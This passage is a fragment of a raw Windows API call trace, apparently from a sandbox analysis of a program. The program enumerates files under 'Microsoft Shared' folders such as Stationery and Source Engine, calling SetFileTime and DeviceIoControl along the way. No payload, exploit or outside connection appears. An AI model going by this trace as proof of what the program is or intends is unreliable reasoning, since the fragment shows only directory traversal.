ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0056.768] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0056.768] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0056.768] GetLastError () returned 0x12 [0056.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.768] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0056.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0056.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.768] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0056.768] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0057.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0057.447] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0057.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa07a8 [0057.452] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa07a8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa07a8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0057.453] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0057.455] NtClose (Handle=0x190) returned 0x0 [0057.460] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.460] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0057.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0057.463] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0057.468] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.470] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.471] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0057.471] GetLastError () returned 0x12 [0057.471] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0057.471] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0057.471] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.471] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0057.471] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0057.471] GetLastError () returned 0x12 [0057.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0057.471] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0057.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.471] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.471] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0057.471] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0057.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0057.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0057.539] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0057.539] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa07a8 [0057.540] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa07a8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa07a8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0057.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0057.541] NtClose (Handle=0x184) returned 0x0 [0057.541] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0057.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.541] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0057.541] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0057.550] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.886] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0057.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e280 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f318 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e2a0 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f738 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e2c0 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f630 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e2e0 [0057.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f948 [0057.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e300 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fb58 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e320 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9fa50 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e340 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0188 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.888] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0057.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e360 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0290 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e380 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa0398 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e3a0 [0057.889] RtlAllocateHeap 